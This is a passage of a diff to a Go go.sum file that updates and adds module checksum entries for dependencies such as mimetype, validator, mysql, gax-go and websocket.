v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg= github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8= @@ -254,13 +312,13 @@ github.com/fsnotify/fsnotify v1.7.0 h1:8JEhPFa5W2WU7YfeZzPNqzMP6Lwt7L2715Ggo0nos github.com/fsnotify/fsnotify v1.7.0/go.mod h1:40Bi/Hjc2AVfZrqy+aj+yEI+/bRxZnMJyTJwOpGvigM= github.com/fvbommel/sortorder v1.1.0 h1:fUmoe+HLsBTctBDoaBwpQo5N+nrCp8g/BjKb/6ZQmYw= github.com/fvbommel/sortorder v1.1.0/go.mod h1:uk88iVf1ovNn1iLfgUVU2F9o5eO30ui720w+kxuqRs0= -github.com/gabriel-vasile/mimetype v1.4.4 h1:QjV6pZ7/XZ7ryI2KuyeEDE8wnh7fHP9YnQy+R0LnH8I= -github.com/gabriel-vasile/mimetype v1.4.4/go.mod h1:JwLei5XPtWdGiMFB5Pjle1oEeoSeEuJfJE+TtfvdB/s= +github.com/fxamacker/cbor/v2 v2.7.0 h1:iM5WgngdRBanHcxugY4JySA0nk1wZorNOpTgCMedv5E= +github.com/fxamacker/cbor/v2 v2.7.0/go.mod h1:pxXPTn3joSm21Gbwsv0w9OSA2y1HFR9qXEeXQVeNoDQ= +github.com/gabriel-vasile/mimetype v1.4.8 h1:FfZ3gj38NjllZIeJAmMhr+qKL8Wu+nOoI3GqacKw1NM= +github.com/gabriel-vasile/mimetype v1.4.8/go.mod h1:ByKUIKGjh1ODkGM1asKUbQZOLGrPjydw3hYPU2YU9t8= github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= -github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= -github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY= github.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= @@ -268,10 +326,14 @@ github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= github.com/go-logr/zapr v1.3.0 h1:XGdV8XW8zdwFiwOA2Dryh1gj2KRQyOOoNmBy4EplIcQ= github.com/go-logr/zapr v1.3.0/go.mod h1:YKepepNBd1u/oyhd/yQmtjVXmm9uML4IXUgMOwR8/Gg= +github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= +github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= +github.com/go-openapi/jsonpointer v0.19.6/go.mod h1:osyAmYz/mB/C3I+WsTTSgw1ONzaLJoLCyoi6/zppojs= github.com/go-openapi/jsonpointer v0.21.0 h1:YgdVicSA9vH5RiHs9TZW5oyafXZFc6+2Vc1rr/O9oNQ= github.com/go-openapi/jsonpointer v0.21.0/go.mod h1:IUyH9l/+uyhIYQ/PXVA41Rexl+kOkAPDdXEYns6fzUY= -github.com/go-openapi/jsonreference v0.21.0 h1:Rs+Y7hSXT83Jacb7kFyjn4ijOuVGSvOdF2+tg1TRrwQ= -github.com/go-openapi/jsonreference v0.21.0/go.mod h1:LmZmgsrTkVg9LG4EaHeY8cBDslNPMo06cago5JNLkm4= +github.com/go-openapi/jsonreference v0.20.2 h1:3sVjiK66+uXK/6oQ8xgcRKcFgQ5KXa2KvnJRumpMGbE= +github.com/go-openapi/jsonreference v0.20.2/go.mod h1:Bl1zwGIM8/wsvqjsOQLJ/SH+En5Ap4rVB5KVcIDZG2k= +github.com/go-openapi/swag v0.22.3/go.mod h1:UzaqsxGiab7freDnrUUra0MwWfN/q7tE4j+VcZ0yl14= github.com/go-openapi/swag v0.23.0 h1:vsEVJDUo2hPJ2tu0/Xc+4noaxyEffXNIs3cOULZ+GrE= github.com/go-openapi/swag v0.23.0/go.mod h1:esZ8ITTYEsH1V2trKHjAN8Ai7xHb8RV+YSZ577vPjgQ= github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= @@ -280,21 +342,18 @@ github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/o github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= -github.com/go-playground/validator/v10 v10.21.0 h1:4fZA11ovvtkdgaeev9RGWPgc1uj3H8W+rNYyH/ySBb0= -github.com/go-playground/validator/v10 v10.21.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= +github.com/go-playground/validator/v10 v10.25.0 h1:5Dh7cjvzR7BRZadnsVOzPhWsrwUr0nmsZJxEAnFLNO8= +github.com/go-playground/validator/v10 v10.25.0/go.mod h1:GGzBIJMuE98Ic/kJsBXbz1x/7cByt++cQ+YOuDM5wus= github.com/go-sql-driver/mysql v1.3.0/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w= -github.com/go-sql-driver/mysql v1.8.0 h1:UtktXaU2Nb64z/pLiGIxY4431SJ4/dR5cjMmlVHgnT4= -github.com/go-sql-driver/mysql v1.8.0/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg= +github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y= +github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= -github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 h1:tfuBGBXKqDEevZMzYi5KSi8KkcZtzBcTgAUUtapy0OI= github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI= github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8= github.com/go-viper/mapstructure/v2 v2.0.0 h1:dhn8MZ1gZ0mzeodTG3jt5Vj/o87xZKuNAprG2mQfMfc= github.com/go-viper/mapstructure/v2 v2.0.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM= -github.com/gofrs/flock v0.8.1 h1:+gYjHKf32LDeiEEFhQaotPbLuUXjY5ZqxKgXy7n59aw= -github.com/gofrs/flock v0.8.1/go.mod h1:F1TvTiK9OcQqauNUHlbJvyl9Qa1QvF/gOUDKA14jxHU= -github.com/gogo/googleapis v1.4.1 h1:1Yx4Myt7BxzvUr5ldGSbwYiZG6t9wGBZ+8/fX3Wvtq0= -github.com/gogo/googleapis v1.4.1/go.mod h1:2lpHqI5OcWCtVElxXnPt+s8oJvMpySlOyM6xDCrzib4= +github.com/gofrs/flock v0.12.1 h1:MTLVXXHf8ekldpJk3AKicLij9MdwOWkZ+a/jHHZby9E= +github.com/gofrs/flock v0.12.1/go.mod h1:9zxTsyu5xtJ9DK+1tFZyibEV7y3uwDxPPfbxeeHCoD0= github.com/gogo/protobuf v1.0.0/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= @@ -311,7 +370,6 @@ github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+Licev github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= @@ -325,6 +383,8 @@ github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM= github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/google/btree v1.1.3 h1:CVpQJjYgC4VbzxeGVHfvZrv1ctoYCAI8vbl07Fcxlyg= +github.com/google/btree v1.1.3/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4= github.com/google/certificate-transparency-go v1.0.10-0.20180222191210-5ab67e519c93 h1:jc2UWq7CbdszqeH6qu1ougXMIUBfSy8Pbh/anURYbGI= github.com/google/certificate-transparency-go v1.0.10-0.20180222191210-5ab67e519c93/go.mod h1:QeJfpSbVSfYc7RgB3gJFj9cbuQMMchQxrWXz8Ruopmg= github.com/google/gnostic-models v0.6.8 h1:yo/ABAfM5IMRsS1VnXjTBvUb61tFIHozhlYvRgGre9I= @@ -336,11 +396,12 @@ github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= -github.com/google/go-replayers/grpcreplay v1.1.0 h1:S5+I3zYyZ+GQz68OfbURDdt/+cSMqCK1wrvNx7WBzTE= -github.com/google/go-replayers/grpcreplay v1.1.0/go.mod h1:qzAvJ8/wi57zq7gWqaE6AwLM6miiXUQwP1S+I9icmhk= +github.com/google/go-replayers/grpcreplay v1.3.0 h1:1Keyy0m1sIpqstQmgz307zhiJ1pV4uIlFds5weTmxbo= +github.com/google/go-replayers/grpcreplay v1.3.0/go.mod h1:v6NgKtkijC0d3e3RW8il6Sy5sqRVUwoQa4mHOGEy8DI= github.com/google/go-replayers/httpreplay v1.2.0 h1:VM1wEyyjaoU53BwrOnaf9VhAyQQEEioJvFYxYcLRKzk= github.com/google/go-replayers/httpreplay v1.2.0/go.mod h1:WahEFFZZ7a1P4VM1qEeHy+tME4bwyqPcwWbNlUI1Mcg= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= @@ -349,10 +410,10 @@ github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0= github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian/v3 v3.3.3 h1:DIhPTQrbPkgs2yJYdXU/eNACCG5DVQjySNRNlflZ9Fc= github.com/google/martian/v3 v3.3.3/go.mod h1:iEPrYcgCF7jA9OtScMFQyAlZZ4YXTKEtJ1E6RWzmBA0= -github.com/google/pprof v0.0.0-20240528025155-186aa0362fba h1:ql1qNgCyOB7iAEk8JTNM+zJrgIbnyCKX/wdlyPufP5g= -github.com/google/pprof v0.0.0-20240528025155-186aa0362fba/go.mod h1:K1liHPHnj73Fdn/EKuT8nrFqBihUSKXoLYU0BuatOYo= -github.com/google/s2a-go v0.1.7 h1:60BLSyTrOV4/haCDW4zb1guZItoSq8foHCXrAnjBo/o= -github.com/google/s2a-go v0.1.7/go.mod h1:50CgR4k1jNlWBu4UfS4AcfhVe1r6pdZPygJ3R8F0Qdw= +github.com/google/pprof v0.0.0-20241029153458-d1b30febd7db h1:097atOisP2aRj7vFgYQBbFN4U4JNXUNYpxael3UzMyo= +github.com/google/pprof v0.0.0-20241029153458-d1b30febd7db/go.mod h1:vavhavw2zAxS5dIdcRluK6cSGGPlZynqzFM8NdvU144= +github.com/google/s2a-go v0.1.8 h1:zZDs9gcbt9ZPLV0ndSyQk6Kacx2g/X+SKYovpnz3SMM= +github.com/google/s2a-go v0.1.8/go.mod h1:6iNWHTpQ+nfNRN5E00MSdfDwVesa8hhS32PhPO8deJA= github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= github.com/google/subcommands v1.2.0/go.mod h1:ZjhPrFU+Olkh9WazFPsl27BQ4UPiG37m3yTrtFlrHVk= @@ -361,20 +422,17 @@ github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/wire v0.6.0 h1:HBkoIh4BdSxoyo9PveV8giw7ZsaBOvzWKfcg/6MrVwI= github.com/google/wire v0.6.0/go.mod h1:F4QhpQ9EDIdJ1Mbop/NZBRB+5yrR6qg3BnctaoUk6NA= -github.com/googleapis/enterprise-certificate-proxy v0.3.2 h1:Vie5ybvEvT75RniqhfFxPRy3Bf7vr3h0cechB90XaQs= -github.com/googleapis/enterprise-certificate-proxy v0.3.2/go.mod h1:VLSiSSBs/ksPL8kq3OBOQ6WRI2QnaFynd1DCjZ62+V0= -github.com/googleapis/gax-go/v2 v2.12.4 h1:9gWcmF85Wvq4ryPFvGFaOgPIs1AQX0d0bcbGw4Z96qg= -github.com/googleapis/gax-go/v2 v2.12.4/go.mod h1:KYEYLorsnIGDi/rPC8b5TdlB9kbKoFubselGIoBMCwI= +github.com/googleapis/enterprise-certificate-proxy v0.3.4 h1:XYIDZApgAnrN1c855gTgghdIA6Stxb52D5RnLI1SLyw= +github.com/googleapis/enterprise-certificate-proxy v0.3.4/go.mod h1:YKe7cfqYXjKGpGvmSg28/fFvhNzinZQm8DGnaburhGA= +github.com/googleapis/gax-go/v2 v2.14.1 h1:hb0FFeiPaQskmvakKu5EbCbpntQn48jyHuvrkurSS/Q= +github.com/googleapis/gax-go/v2 v2.14.1/go.mod h1:Hb/NubMaVM88SrNkvl8X/o8XWwDJEPqouaLeN2IUxoA= github.com/gorilla/mux v1.7.0/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs= github.com/gorilla/mux v1.8.1 h1:TuBL49tXwgrFYWhqrNgrUNEY92u81SPhu7sTdzQEiWY= github.com/gorilla/mux v1.8.1/go.mod h1:AKf9I4AEqPTmMytcMc0KkNouC66V3BtZ4qD5fmWSiMQ= -github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= -github.com/gorilla/websocket v1.5.1 h1:gmztn0JnHVt9JZquRuzLw3g4wouNVzKL15iLr/zn/QY= -github.com/gorilla/websocket v1.5.1/go.mod h1:x3kM2JMyaluk02fnUJpQuwD2dCS5NDG2ZHL0uE0tcaY= -github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 h1:UH//fgunKIs4JdUbpDl1VZCDaL56wXCB/5+wF6uHfaI= -github.com/grpc-ecosystem/go-grpc-middleware v1.4.0/go.mod h1:g5qyo/la0ALbONm6Vbp88Yd8NsDy6rZz+RcrMPxvld8= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.20.0 h1:bkypFPDjIYGfCYD5mRBvpqxfYX1YCS1PXdKYWi8FsN0= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.20.0/go.mod h1:P+Lt/0by1T8bfcF3z737NnSbmxQAppXMRziHUxPOC8k= +github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= +github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.22.0 h1:asbCHRVmodnJTuQ3qamDwqVOIjwqUPTYmYuemVOx+Ys= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.22.0/go.mod h1:ggCgvZ2r7uOoQjOyu2Y1NhHmEPPzzuhWgcza5M1Ji1I= github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed h1:5upAirOpQc1Q53c0bnx2ufif5kANL7bfZWcc6VJWJd8= github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed/go.mod h1:tMWxXQ9wFIaZeTI9F+hmhFiGpFmhOHzyShyFUhRm0H4= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= @@ -382,8 +440,16 @@ github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= +github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= +github.com/hashicorp/go-secure-stdlib/parseutil v0.1.7 h1:UpiO20jno/eV1eVZcxqWnUohyKRe1g8FPV/xH1s/2qs= +github.com/hashicorp/go-secure-stdlib/parseutil v0.1.7/go.mod h1:QmrqtbKuxxSWTN3ETMPuB+VtEiBJ/A9XhoYGv8E1uD8= +github.com/hashicorp/go-secure-stdlib/strutil v0.1.1/go.mod h1:gKOamz3EwoIoJq7mlMIRBpVTAUn8qPCrEclOKKWhD3U= +github.com/hashicorp/go-secure-stdlib/strutil v0.1.2 h1:kes8mmyCpxJsI7FTwtzRqEy9CdjCtrXrXGuOpxEA7Ts= +github.com/hashicorp/go-secure-stdlib/strutil v0.1.2/go.mod h1:Gou2R9+il93BqX25LAKCLuM+y9U2T4hlwvT1yprcna4= +github.com/hashicorp/go-sockaddr v1.0.2 h1:ztczhD1jLxIRjVejw8gFomI1BQZOe2WoVOu0SyteCQc= +github.com/hashicorp/go-sockaddr v1.0.2/go.mod h1:rB4wwRAUzs07qva3c5SdrY/NEtAUjGlgmH/UkBUC97A= github.com/hashicorp/go-version v1.7.0 h1:5tqGy27NaOTB8yJKUZELlFAS/LTKJkrmONwQKeRZfjY= github.com/hashicorp/go-version v1.7.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/hcl v1.0.1-vault-5 h1:kI3hhbbyzr4dldA8UdTb7ZlVVlI2DACdCfz31RPDgJM= @@ -391,8 +457,6 @@ github.com/hashicorp/hcl v1.0.1-vault-5/go.mod h1:XYhtn6ijBSAj6n4YqAaf7RBPS4I06A github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog= github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68= github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= -github.com/imdario/mergo v0.3.16 h1:wwQJbIsHYGMUyLSPrEq1CT16AhnhNJQ51+4fdHUnCl4= -github.com/imdario/mergo v0.3.16/go.mod h1:WBLT9ZmE3lPoWsEzCh9LPo3TiwVN+ZKEjmz+hD27ysY= github.com/in-toto/in-toto-golang v0.9.0 h1:tHny7ac4KgtsfrG6ybU8gVOZux2H8jN05AXJ9EBM1XU= github.com/in-toto/in-toto-golang v0.9.0/go.mod h1:xsBVrVsHNsB61++S6Dy2vWosKhuA3lUTQd+eF9HdeMo= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= @@ -409,8 +473,8 @@ github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9Y github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo= github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGwWFoC7ycTf1rcQZHOlsJ6N8= github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U= -github.com/jonboulle/clockwork v0.4.0 h1:p4Cf1aMWXnXAUh8lVfewRBx1zaTSYKrKMF2g3ST4RZ4= -github.com/jonboulle/clockwork v0.4.0/go.mod h1:xgRqUGwRcjKCO1vbZUEtSLrqKoPSsUpK7fnezOII0kc= +github.com/jonboulle/clockwork v0.5.0 h1:Hyh9A8u51kptdkR+cqRpT1EebBwTn1oK9YfGYbdFz6I= +github.com/jonboulle/clockwork v0.5.0/go.mod h1:3mZlmanh0g2NDKO5TWZVJAfofYk64M7XN3SzBPjZF60= github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY= github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= @@ -421,14 +485,17 @@ github.com/juju/loggo v0.0.0-20190526231331-6e530bcce5d8/go.mod h1:vgyd7OREkbtVE github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs= github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= +github.com/keybase/go-keychain v0.0.0-20231219164618-57a3676c3af6 h1:IsMZxCuZqKuao2vNdfD82fjjgPLfyHLpR41Z88viRWs= +github.com/keybase/go-keychain v0.0.0-20231219164618-57a3676c3af6/go.mod h1:3VeWNIJaW+O5xpRQbPp0Ybqu1vJd/pm7s2F473HRrkw= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= -github.com/klauspost/compress v1.17.8 h1:YcnTYrq7MikUT7k0Yb5eceMmALQPYBW/Xltxn0NAMnU= -github.com/klauspost/compress v1.17.8/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw= +github.com/klauspost/compress v1.17.11 h1:In6xLpyWOi1+C7tXUUWv2ot1QvBjxevKAaI6IXrJmUc= +github.com/klauspost/compress v1.17.11/go.mod h1:pMDklpSncoRMuLFrf1W9Ss9KT+0rH90U12bZKk7uwG0= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= @@ -440,14 +507,19 @@ github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+ github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= github.com/lib/pq v0.0.0-20150723085316-0dad96c0b94f/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= +github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I= +github.com/lufia/plan9stats v0.0.0-20220913051719-115f729f3c8c h1:VtwQ41oftZwlMnOEbMWQtSEUgU64U4s+GHk7hZK+jtY= +github.com/lufia/plan9stats v0.0.0-20220913051719-115f729f3c8c/go.mod h1:JKx41uQRwqlTZabZc+kILPrO/3jlKnQ2Z8b7YiVw5cE= github.com/magiconair/properties v1.5.3/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= github.com/mailru/easyjson 